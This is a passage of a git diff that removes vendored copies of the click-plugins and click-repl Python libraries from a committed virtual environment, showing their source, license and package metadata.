other materials provided with the distribution. - -* Neither click-plugins nor the names of its contributors may not be used to - endorse or promote products derived from this software without specific prior - written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -''' - - -def with_plugins(entry_points): - - """Decorator for loading plugins. - - Each entry point must point to a ``click.Command()`` object. An entry - point producing an exception during loading will be wrapped in a - ``BrokenCommand()``. - - Entry points can be loaded from multiple sources by decorating a command - with multiple ``with_plugins()`` using different configurations. - - >>> from importlib.metadata import entry_points - >>> import click - >>> from click_plugins import with_plugins - >>> - >>> @with_plugins(entry_points(group='entry_point.name')) - >>> @click.group() - >>> def cli(): - ... '''Commandline interface for something.''' - >>> - >>> @cli.command() - >>> @click.argument('arg') - >>> def subcommand(arg): - ... '''A subcommand for something else''' - - :param iterable or str entry_points: - A string identifying a group of entry points to load or an iterable - object producing ``importlib.metadata.EntryPoint()`` objects. - - :rtype click.Group: - """ - - def decorator(group): - if not isinstance(group, click.Group): - raise TypeError( - f"plugins can only be attached to an instance of" - f" 'click.Group()' not: {repr(group)}") - - # Load 'EntryPoint()' objects. - if isinstance(entry_points, str): - all_entry_points = im_entry_points(group=entry_points) - - # Receiving an iterable of 'EntryPoints()'. - else: - all_entry_points = entry_points - - for ep in all_entry_points: - - try: - group.add_command(ep.load()) - - # Catch all exceptions (technically not 'BaseException') and - # instead register a special 'BrokenCommand()'. Otherwise, a single - # plugin that fails to load and/or register will make the CLI - # inoperable. 'BrokenCommand()' explains the situation to users. - except Exception as e: - group.add_command(BrokenCommand(ep, e)) - - return group - - return decorator - - -class BrokenCommand(click.Command): - - """Represents a plugin ``click.Command()`` that failed to load. - - Can be executed just like a ``click.Command()``, but prints information - for debugging and exits with an error code. - """ - - def __init__(self, entry_point, exception): - - """ - :param importlib.metadata.EntryPoint entry_point: - Entry point that failed to load. - :param Exception exception: - Raised when attempting to load the entry point associated with - this instance. - """ - - super().__init__(entry_point.name) - - # There are several ways to get a traceback from an exception, but - # 'TracebackException()' seems to be the most portable across actively - # supported versions of Python. - tbe = traceback.TracebackException.from_exception(exception) - - # A message for '$ cli command --help'. Contains full traceback and a - # helpful note. The intention is to nudge users to figure out which - # project should get a bug report since users are likely to report the - # issue to the developers of the CLI utility they are directly - # interacting with. These are not necessarily the right developers. - self.help = ( - "{ls}ERROR: entry point '{module}:{name}' could not be loaded." - " Contact its author for help.{ls}{ls}{tb}").format( - module=_module(entry_point), - name=entry_point.name, - ls=os.linesep, - tb=''.join(tbe.format()) - ) - - # Replace the broken command's summary with a warning about how it - # was not loaded successfully. The idea is that '$ cli --help' should - # include a clear indicator that a subcommand is not functional, and - # a little hint for what to do about it. U+2020 is a "dagger", whose - # modern use typically indicates a footnote. - self.short_help = ( - f"\u2020 Warning: could not load plugin. Invoke command with" - f" '--help' for traceback." - ) - - def invoke(self, ctx): - - """Print traceback and debugging message. - - :param click.Context ctx: - Active context. - """ - - click.echo(self.help, color=ctx.color, err=True) - ctx.exit(1) - - def parse_args(self, ctx, args): - - """Pass arguments along without parsing. - - :param click.Context ctx: - Active context. - :param list args: - List of command line arguments. - """ - - # Do not attempt to parse these arguments. We do not know why the - # entry point failed to load, but it is reasonable to assume that - # argument parsing will not work. Ultimately the goal is to get the - # 'Command.invoke()' method (overloaded in this class) to execute - # and provide the user with a bit of debugging information. - - return args - - -def _module(ep): - - """Module name for a given entry point. - - Parameters - ---------- - ep : importlib.metadata.EntryPoint - Determine parent module for this entry point. - - Returns - ------- - str - """ - - if sys.version_info >= (3, 10): - module = ep.module - - else: - # From 'importlib.metadata.EntryPoint.module'. - match = ep.pattern.match(ep.value) - module = match.group('module') - - return module - - -# def _entry_points(**params): -# -# eps = entry_points() -# -# # 'entry_points()' returned an 'importlib.metadata.EntryPoints()'. -# if sys.version_info >= (3, 9): -# -# # If 'params' is empty it will produce a 'DeprecationWarning' on some -# # versions of Python. This is due to a bug in 'select()' that returns -# # 'SelectableGroup()' instead of 'EntryPoints()' in this -# eps = eps.select(**params) -# -# # Got a 'dict()'. Keys are groups, and values are tuples. -# else: -# mapping = eps -# if list(params.keys()) == ['group']: -# grp = params['group'] -# eps = mapping.get(grp, tuple()) -# else: -# raise ValueError(f"must filter on 'group': {params}") -# -# return eps diff --git a/venv/Lib/site-packages/click_plugins/__init__.py b/venv/Lib/site-packages/click_plugins/__init__.py deleted file mode 100644 index 00157ff568dabf9e606821d68b2b15331b0b1924..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_plugins/__init__.py +++ /dev/null @@ -1,61 +0,0 @@ -""" -An extension module for click to enable registering CLI commands via setuptools -entry-points. - - - from pkg_resources import iter_entry_points - - import click - from click_plugins import with_plugins - - - @with_plugins(iter_entry_points('entry_point.name')) - @click.group() - def cli(): - '''Commandline interface for something.''' - - @cli.command() - @click.argument('arg') - def subcommand(arg): - '''A subcommand for something else''' -""" - - -from click_plugins.core import with_plugins - - -__version__ = '1.1.1.2' -__author__ = 'Kevin Wurster, Sean Gillies' -__email__ = 'wursterk@gmail.com, sean.gillies@gmail.com' -__source__ = 'https://github.com/click-contrib/click-plugins' -__license__ = ''' -New BSD License - -Copyright (c) 2015-2025, Kevin D. Wurster, Sean C. Gillies -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither click-plugins nor the names of its contributors may not be used to - endorse or promote products derived from this software without specific prior - written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -''' diff --git a/venv/Lib/site-packages/click_plugins/core.py b/venv/Lib/site-packages/click_plugins/core.py deleted file mode 100644 index 0d7f5e97aba9e8abd4f4757c952fc50137cf363e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_plugins/core.py +++ /dev/null @@ -1,92 +0,0 @@ -""" -Core components for click_plugins -""" - - -import click - -import os -import sys -import traceback - - -def with_plugins(plugins): - - """ - A decorator to register external CLI commands to an instance of - `click.Group()`. - - Parameters - ---------- - plugins : iter - An iterable producing one `pkg_resources.EntryPoint()` per iteration. - attrs : **kwargs, optional - Additional keyword arguments for instantiating `click.Group()`. - - Returns - ------- - click.Group() - """ - - def decorator(group): - if not isinstance(group, click.Group): - raise TypeError("Plugins can only be attached to an instance of click.Group()") - - for entry_point in plugins or (): - try: - group.add_command(entry_point.load()) - except Exception: - # Catch this so a busted plugin doesn't take down the CLI. - # Handled by registering a dummy command that does nothing - # other than explain the error. - group.add_command(BrokenCommand(entry_point.name)) - - return group - - return decorator - - -class BrokenCommand(click.Command): - - """ - Rather than completely crash the CLI when a broken plugin is loaded, this - class provides a modified help message informing the user that the plugin is - broken and they should contact the owner. If the user executes the plugin - or specifies `--help` a traceback is reported showing the exception the - plugin loader encountered. - """ - - def __init__(self, name): - - """ - Define the special help messages after instantiating a `click.Command()`. - """ - - click.Command.__init__(self, name) - - util_name = os.path.basename(sys.argv and sys.argv[0] or __file__) - - if os.environ.get('CLICK_PLUGINS_HONESTLY'): # pragma no cover - icon = u'\U0001F4A9' - else: - icon = u'\u2020' - - self.help = ( - "\nWarning: entry point could not be loaded. Contact " - "its author for help.\n\n\b\n" - + traceback.format_exc()) - self.short_help = ( - icon + " Warning: could not load plugin. See `%s %s --help`." - % (util_name, self.name)) - - def invoke(self, ctx): - - """ - Print the traceback instead of doing nothing. - """ - - click.echo(self.help, color=ctx.color) - ctx.exit(1) - - def parse_args(self, ctx, args): - return args diff --git a/venv/Lib/site-packages/click_repl-0.3.0.dist-info/INSTALLER b/venv/Lib/site-packages/click_repl-0.3.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_repl-0.3.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/click_repl-0.3.0.dist-info/LICENSE b/venv/Lib/site-packages/click_repl-0.3.0.dist-info/LICENSE deleted file mode 100644 index 606882bc83d4df134adb55549f9a90ba6a992d4c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_repl-0.3.0.dist-info/LICENSE +++ /dev/null @@ -1,20 +0,0 @@ -Copyright (c) 2014-2015 Markus Unterwaditzer & contributors. -Copyright (c) 2016-2026 Asif Saif Uddin & contributors. - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies -of the Software, and to permit persons to whom the Software is furnished to do -so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/venv/Lib/site-packages/click_repl-0.3.0.dist-info/METADATA b/venv/Lib/site-packages/click_repl-0.3.0.dist-info/METADATA deleted file mode 100644 index 593e993992797e2df193dc021c8d79493aed876d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_repl-0.3.0.dist-info/METADATA +++ /dev/null @@ -1,117 +0,0 @@ -Metadata-Version: 2.1 -Name: click-repl -Version: 0.3.0 -Summary: REPL plugin for Click -Home-page: https://github.com/untitaker/click-repl -Author: Markus Unterwaditzer -Author-email: markus@unterwaditzer.net -License: MIT -Platform: UNKNOWN -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.6 -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Requires-Python: >=3.6 -Description-Content-Type: text/markdown -License-File: LICENSE -Requires-Dist: click (>=7.0) -Requires-Dist: prompt-toolkit (>=3.0.36) -Provides-Extra: testing -Requires-Dist: pytest-cov (>=4.0.0) ; extra == 'testing' -Requires-Dist: pytest (>=7.2.1) ; extra == 'testing' -Requires-Dist: tox (>=4.4.3) ; extra == 'testing' - -click-repl -=== - -[![Tests](https://github.com/click-contrib/click-repl/actions/workflows/tests.yml/badge.svg?branch=master)](https://github.com/click-contrib/click-repl/actions/workflows/tests.yml) -[![License](https://img.shields.io/pypi/l/click-repl?label=License)](https://github.com/click-contrib/click-repl/LICENSE) -![Python - version](https://img.shields.io/badge/python-3%20%7C%203.7%20%7C%203.8%20%7C%203.9%20%7C%203.10%20%7C%203.11-blue) -[![PyPi - version](https://img.shields.io/badge/pypi-v0.2.0-blue)](https://pypi.org/project/click-repl/) -![wheels](https://img.shields.io/piwheels/v/click-repl?label=wheel) -![PyPI - Status](https://img.shields.io/pypi/status/click) -![PyPI - Downloads](https://img.shields.io/pypi/dm/click-repl) - -Installation -=== - -Installation is done via pip: -``` -pip install click-repl -``` -Usage -=== - -In your [click](http://click.pocoo.org/) app: - -```py -import click -from click_repl import register_repl - -@click.group() -def cli(): - pass - -@cli.command() -def hello(): - click.echo("Hello world!") - -register_repl(cli) -cli() -``` -In the shell: -``` -$ my_app repl -> hello -Hello world! -> ^C -$ echo hello | my_app repl -Hello world! -``` -**Features not shown:** - -- Tab-completion. -- The parent context is reused, which means `ctx.obj` persists between - subcommands. If you're keeping caches on that object (like I do), using the - app's repl instead of the shell is a huge performance win. -- `!` - prefix executes shell commands. - -You can use the internal `:help` command to explain usage. - -Advanced Usage -=== - -For more flexibility over how your REPL works you can use the `repl` function -directly instead of `register_repl`. For example, in your app: - -```py -import click -from click_repl import repl -from prompt_toolkit.history import FileHistory - -@click.group() -def cli(): - pass - -@cli.command() -def myrepl(): - prompt_kwargs = { - 'history': FileHistory('/etc/myrepl/myrepl-history'), - } - repl(click.get_current_context(), prompt_kwargs=prompt_kwargs) - -cli() -``` -And then your custom `myrepl` command will be available on your CLI, which -will start a REPL which has its history stored in -`/etc/myrepl/myrepl-history` and persist between sessions. - -Any arguments that can be passed to the [`python-prompt-toolkit`](https://github.com/prompt-toolkit/python-prompt-toolkit) [Prompt](http://python-prompt-toolkit.readthedocs.io/en/stable/pages/reference.html?prompt_toolkit.shortcuts.Prompt#prompt_toolkit.shortcuts.Prompt) class -can be passed in the `prompt_kwargs` argument and will be used when -instantiating your `Prompt`. - - diff --git a/venv/Lib/site-packages/click_repl-0.3.0.dist-info/RECORD b/venv/Lib/site-packages/click_repl-0.3.0.dist-info/RECORD deleted file mode 100644 index f50627b8f8b8ee9320a65e2582d624a21811d6f6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_repl-0.3.0.dist-info/RECORD +++ /dev/null @@ -1,16 +0,0 @@ -click_repl-0.3.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -click_repl-0.3.0.dist-info/LICENSE,sha256=w5qXIkFz5heQemLXVoSEvYPgWlplXqlCQH3DWjIetDE,1141 -click_repl-0.3.0.dist-info/METADATA,sha256=DF4pXhK8sH8aQ33WNAfX-umqGuIG8fgTmjehMdmBqG0,3553 -click_repl-0.3.0.dist-info/RECORD,, -click_repl-0.3.0.dist-info/WHEEL,sha256=G16H4A3IeoQmnOrYV4ueZGKSjhipXx8zc8nu9FGlvMA,92 -click_repl-0.3.0.dist-info/top_level.txt,sha256=F6rJUNCBcNeCP3tglg54K9NGWoA0azS09pH1B3V5LbQ,11 -click_repl/__init__.py,sha256=t3mMAVXruN3TZ72aXXHqk__ySRx7yyia8S8QnFd8Oq8,514 -click_repl/__pycache__/__init__.cpython-314.pyc,, -click_repl/__pycache__/_completer.cpython-314.pyc,, -click_repl/__pycache__/_repl.cpython-314.pyc,, -click_repl/__pycache__/exceptions.cpython-314.pyc,, -click_repl/__pycache__/utils.cpython-314.pyc,, -click_repl/_completer.py,sha256=0otlzltYbyc6BLv-kGV1S-jKPASd-ZJPfyiXsR9BkLE,9760 -click_repl/_repl.py,sha256=ABz22IoLkKEcfU7_gHbXTk7e96oxrUgDuumyjMs-ja8,4513 -click_repl/exceptions.py,sha256=b2623jlSGVISztcC07xZ6Dg1OwGbsyhwGDkEWRlQ2yU,445 -click_repl/utils.py,sha256=2r--kMG24BaF8d_RypX2KSpfKdrWkPI2YEHd5cFCbMY,6119 diff --git a/venv/Lib/site-packages/click_repl-0.3.0.dist-info/WHEEL b/venv/Lib/site-packages/click_repl-0.3.0.dist-info/WHEEL deleted file mode 100644 index becc9a66ea739ba941d48a749e248761cc6e658a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_repl-0.3.0.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: bdist_wheel (0.37.1) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/click_repl-0.3.0.dist-info/top_level.txt b/venv/Lib/site-packages/click_repl-0.3.0.dist-info/top_level.txt deleted file mode 100644 index 4cf6be7dfd8e9e6f1ad0191633c4ab413e58af0e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_repl-0.3.0.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -click_repl diff --git a/venv/Lib/site-packages/click_repl/__init__.py b/venv/Lib/site-packages/click_repl/__init__.py deleted file mode 100644 index df3cea884bea5a10778eae926164ab5ad0d4b046..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_repl/__init__.py +++ /dev/null @@ -1,11 +0,0 @@ -from ._completer import ClickCompleter as ClickCompleter # noqa: F401 -from ._repl import register_repl as register_repl # noqa: F401 -from ._repl import repl as repl # noqa: F401 -from .exceptions import CommandLineParserError as CommandLineParserError # noqa: F401 -from .exceptions import ExitReplException as ExitReplException # noqa: F401 -from .exceptions import ( # noqa: F401 - InternalCommandException as InternalCommandException, -) -from .utils import exit as exit # noqa: F401 - -__version__ = "0.3.0" diff --git a/venv/Lib/site-packages/click_repl/_completer.py b/venv/Lib/site-packages/click_repl/_completer.py deleted file mode 100644 index a5922fee5aeec5320bf5fcaa72fece7f15511551..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_repl/_completer.py +++ /dev/null @@ -1,296 +0,0 @@ -from __future__ import unicode_literals - -import os -from glob import iglob - -import click -from prompt_toolkit.completion import Completion, Completer - -from .utils import _resolve_context, split_arg_string - -__all__ = ["ClickCompleter"] - -IS_WINDOWS = os.name == "nt" - - -# Handle backwards compatibility between Click<=7.0 and >=8.0 -try: - import click.shell_completion - - HAS_CLICK_V8 = True - AUTO_COMPLETION_PARAM = "shell_complete" -except (ImportError, ModuleNotFoundError): - import click._bashcomplete # type: ignore[import] - - HAS_CLICK_V8 = False - AUTO_COMPLETION_PARAM = "autocompletion" - - -def text_type(text): - return "{}".format(text) - - -class ClickCompleter(Completer): - __slots__ = ("cli", "ctx", "parsed_args", "parsed_ctx", "ctx_command") - - def __init__(self, cli, ctx): - self.cli = cli - self.ctx = ctx - self.parsed_args = [] - self.parsed_ctx = ctx - self.ctx_command = ctx.command - - def _get_completion_from_autocompletion_functions( - self, - param, - autocomplete_ctx, - args, - incomplete, - ): - param_choices = [] - - if HAS_CLICK_V8: - autocompletions = param.shell_complete(autocomplete_ctx, incomplete) - else: - autocompletions = param.autocompletion( # type: ignore[attr-defined] - autocomplete_ctx, args, incomplete - ) - - for autocomplete in autocompletions: - if isinstance(autocomplete, tuple): - param_choices.append( - Completion( - text_type(autocomplete[0]), - -len(incomplete), - display_meta=autocomplete[1], - ) - ) - - elif HAS_CLICK_V8 and isinstance( - autocomplete, click.shell_completion.CompletionItem - ): - param_choices.append( - Completion(text_type(autocomplete.value), -len(incomplete)) - ) - - else: - param_choices.append( - Completion(text_type(autocomplete), -len(incomplete)) - ) - - return param_choices - - def _get_completion_from_choices_click_le_7(self, param, incomplete): - if not getattr(param.type, "case_sensitive", True): - incomplete = incomplete.lower() - return [ - Completion( - text_type(choice), - -len(incomplete), - display=text_type(repr(choice) if " " in choice else choice), - ) - for choice in param.type.choices # type: ignore[attr-defined] - if choice.lower().startswith(incomplete) - ] - - else: - return [ - Completion( - text_type(choice), - -len(incomplete), - display=text_type(repr(choice) if " " in choice else choice), - ) - for choice in param.type.choices # type: ignore[attr-defined] - if choice.startswith(incomplete) - ] - - def _get_completion_for_Path_types(self, param, args, incomplete): - if "*" in incomplete: - return [] - - choices = [] - _incomplete = os.path.expandvars(incomplete) - search_pattern = _incomplete.strip("'\"\t\n\r\v ").replace("\\\\", "\\") + "*" - quote = "" - - if " " in _incomplete: - for i in incomplete: - if i in ("'", '"'): - quote = i - break - - for path in iglob(search_pattern): - if " " in path: - if quote: - path = quote + path - else: - if IS_WINDOWS: - path = repr(path).replace("\\\\", "\\") - else: - if IS_WINDOWS: - path = path.replace("\\", "\\\\") - - choices.append( - Completion( - text_type(path), - -len(incomplete), - display=text_type(os.path.basename(path.strip("'\""))), - ) - ) - - return choices - - def _get_completion_for_Boolean_type(self, param, incomplete): - return [ - Completion( - text_type(k), -len(incomplete), display_meta=text_type("/".join(v)) - ) - for k, v in { - "true": ("1", "true", "t", "yes", "y", "on"), - "false": ("0", "false", "f", "no", "n", "off"), - }.items() - if any(i.startswith(incomplete) for i in v) - ] - - def _get_completion_from_params(self, autocomplete_ctx, args, param, incomplete): - - choices = [] - param_type = param.type - - # shell_complete method for click.Choice is intorduced in click-v8 - if not HAS_CLICK_V8 and isinstance(param_type, click.Choice): - choices.extend( - self._get_completion_from_choices_click_le_7(param, incomplete) - ) - - elif isinstance(param_type, click.types.BoolParamType): - choices.extend(self._get_completion_for_Boolean_type(param, incomplete)) - - elif isinstance(param_type, (click.Path, click.File)): - choices.extend(self._get_completion_for_Path_types(param, args, incomplete)) - - elif getattr(param, AUTO_COMPLETION_PARAM, None) is not None: - choices.extend( - self._get_completion_from_autocompletion_functions( - param, - autocomplete_ctx, - args, - incomplete, - ) - ) - - return choices - - def _get_completion_for_cmd_args( - self, - ctx_command, - incomplete, - autocomplete_ctx, - args, - ): - choices = [] - param_called = False - - for param in ctx_command.params: - if isinstance(param.type, click.types.UnprocessedParamType): - return [] - - elif getattr(param, "hidden", False): - continue - - elif isinstance(param, click.Option): - for option in param.opts + param.secondary_opts: - # We want to make sure if this parameter was called - # If we are inside a parameter that was called, we want to show only - # relevant choices - if option in args[param.nargs * -1 :]: # noqa: E203 - param_called = True - break - - elif option.startswith(incomplete): - choices.append( - Completion( - text_type(option), - -len(incomplete), - display_meta=text_type(param.help or ""), - ) - ) - - if param_called: - choices = self._get_completion_from_params( - autocomplete_ctx, args, param, incomplete - ) - - elif isinstance(param, click.Argument): - choices.extend( - self._get_completion_from_params( - autocomplete_ctx, args, param, incomplete - ) - ) - - return choices - - def get_completions(self, document, complete_event=None): - # Code analogous to click._bashcomplete.do_complete - - args = split_arg_string(document.text_before_cursor, posix=False) - - choices = [] - cursor_within_command = ( - document.text_before_cursor.rstrip() == document.text_before_cursor - ) - - if document.text_before_cursor.startswith(("!", ":")): - return - - if args and cursor_within_command: - # We've entered some text and no space, give completions for the - # current word. - incomplete = args.pop() - else: - # We've not entered anything, either at all or for the current - # command, so give all relevant completions for this context. - incomplete = "" - - if self.parsed_args != args: - self.parsed_args = args - self.parsed_ctx = _resolve_context(args, self.ctx) - self.ctx_command = self.parsed_ctx.command - - if getattr(self.ctx_command, "hidden", False): - return - - try: - choices.extend( - self._get_completion_for_cmd_args( - self.ctx_command, incomplete, self.parsed_ctx, args - ) - ) - - if isinstance(self.ctx_command, click.MultiCommand): - incomplete_lower = incomplete.lower() - - for name in self.ctx_command.list_commands(self.parsed_ctx): - command = self.ctx_command.get_command(self.parsed_ctx, name) - if getattr(command, "hidden", False): - continue - - elif name.lower().startswith(incomplete_lower): - choices.append( - Completion( - text_type(name), - -len(incomplete), - display_meta=getattr(command, "short_help", ""), - ) - ) - - except Exception as e: - click.echo("{}: {}".format(type(e).__name__, str(e))) - - # If we are inside a parameter that was called, we want to show only - # relevant choices - # if param_called: - # choices = param_choices - - for item in choices: - yield item diff --git a/venv/Lib/site-packages/click_repl/_repl.py b/venv/Lib/site-packages/click_repl/_repl.py deleted file mode 100644 index 5693f52b3d63c33f3a84769f2dec7e882b247d59..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_repl/_repl.py +++ /dev/null @@ -1,152 +0,0 @@ -from __future__ import with_statement - -import click -import sys -from prompt_toolkit import PromptSession -from prompt_toolkit.history import InMemoryHistory - -from ._completer import ClickCompleter -from .exceptions import ClickExit # type: ignore[attr-defined] -from .exceptions import CommandLineParserError, ExitReplException, InvalidGroupFormat -from .utils import _execute_internal_and_sys_cmds - - -__all__ = ["bootstrap_prompt", "register_repl", "repl"] - - -def bootstrap_prompt( - group, - prompt_kwargs, - ctx=None, -): - """ - Bootstrap prompt_toolkit kwargs or use user defined values. - - :param group: click Group - :param prompt_kwargs: The user specified prompt kwargs. - """ - - defaults = { - "history": InMemoryHistory(), - "completer": ClickCompleter(group, ctx=ctx), - "message": "> ", - } - - defaults.update(prompt_kwargs) - return defaults - - -def repl( - old_ctx, prompt_kwargs={}, allow_system_commands=True, allow_internal_commands=True -): - """ - Start an interactive shell. All subcommands are available in it. - - :param old_ctx: The current Click context. - :param prompt_kwargs: Parameters passed to - :py:func:`prompt_toolkit.PromptSession`. - - If stdin is not a TTY, no prompt will be printed, but only commands read - from stdin. - """ - - group_ctx = old_ctx - # Switching to the parent context that has a Group as its command - # as a Group acts as a CLI for all of its subcommands - if old_ctx.parent is not None and not isinstance(old_ctx.command, click.Group): - group_ctx = old_ctx.parent - - group = group_ctx.command - - # An Optional click.Argument in the CLI Group, that has no value - # will consume the first word from the REPL input, causing issues in - # executing the command - # So, if there's an empty Optional Argument - for param in group.params: - if ( - isinstance(param, click.Argument) - and group_ctx.params[param.name] is None - and not param.required - ): - raise InvalidGroupFormat( - f"{type(group).__name__} '{group.name}' requires value for " - f"an optional argument '{param.name}' in REPL mode" - ) - - isatty = sys.stdin.isatty() - - # Delete the REPL command from those available, as we don't want to allow - # nesting REPLs (note: pass `None` to `pop` as we don't want to error if - # REPL command already not present for some reason). - repl_command_name = old_ctx.command.name - if isinstance(group_ctx.command, click.CommandCollection): - available_commands = { - cmd_name: cmd_obj - for source in group_ctx.command.sources - for cmd_name, cmd_obj in source.commands.items() - } - else: - available_commands = group_ctx.command.commands - - original_command = available_commands.pop(repl_command_name, None) - - if isatty: - prompt_kwargs = bootstrap_prompt(group, prompt_kwargs, group_ctx) - session = PromptSession(**prompt_kwargs) - - def get_command(): - return session.prompt() - - else: - get_command = sys.stdin.readline - - while True: - try: - command = get_command() - except KeyboardInterrupt: - continue - except EOFError: - break - - if not command: - if isatty: - continue - else: - break - - try: - args = _execute_internal_and_sys_cmds( - command, allow_internal_commands, allow_system_commands - ) - if args is None: - continue - - except CommandLineParserError: - continue - - except ExitReplException: - break - - try: - # The group command will dispatch based on args. - old_protected_args = group_ctx.protected_args - try: - group_ctx.protected_args = args - group.invoke(group_ctx) - finally: - group_ctx.protected_args = old_protected_args - except click.ClickException as e: - e.show() - except (ClickExit, SystemExit): - pass - - except ExitReplException: - break - - if original_command is not None: - available_commands[repl_command_name] = original_command - - -def register_repl(group, name="repl"): - """Register :func:`repl()` as sub-command *name* of *group*.""" - group.command(name=name)(click.pass_context(repl)) diff --git a/venv/Lib/site-packages/click_repl/exceptions.py b/venv/Lib/site-packages/click_repl/exceptions.py deleted file mode 100644 index 78c7dd0975f786b3dc7339ee792294986c151466..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_repl/exceptions.py +++ /dev/null @@ -1,23 +0,0 @@ -class InternalCommandException(Exception): - pass - - -class ExitReplException(InternalCommandException): - pass - - -class CommandLineParserError(Exception): - pass - - -class InvalidGroupFormat(Exception): - pass - - -# Handle click.exceptions.Exit introduced in Click 7.0 -try: - from click.exceptions import Exit as ClickExit -except (ImportError, ModuleNotFoundError): - - class ClickExit(RuntimeError): # type: ignore[no-redef] - pass diff --git a/venv/Lib/site-packages/click_repl/utils.py b/venv/Lib/site-packages/click_repl/utils.py deleted file mode 100644 index 9aa980087f7c4b9e6b10b64973b6ee485333ef21..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_repl/utils.py +++ /dev/null @@ -1,222 +0,0 @@ -import click -import os -import shlex -import sys -from collections import defaultdict - -from .exceptions import CommandLineParserError, ExitReplException - - -__all__ = [ - "_execute_internal_and_sys_cmds", - "_exit_internal", - "_get_registered_target", - "_help_internal", - "_resolve_context", - "_register_internal_command", - "dispatch_repl_commands", - "handle_internal_commands", - "split_arg_string", - "exit", -] - - -# Abstract datatypes in collections module are moved to collections.abc -# module in Python 3.3 -if sys.version_info >= (3, 3): - from collections.abc import Iterable, Mapping # noqa: F811 -else: - from collections import Iterable, Mapping - - -def _resolve_context(args, ctx=None): - """Produce the context hierarchy starting with the command and - traversing the complete arguments. This only follows the commands, - it doesn't trigger input prompts or callbacks. - - :param args: List of complete args before the incomplete value. - :param cli_ctx: `click.Context` object of the CLI group - """ - - while args: - command = ctx.command - - if isinstance(command, click.MultiCommand): - if not command.chain: - name, cmd, args = 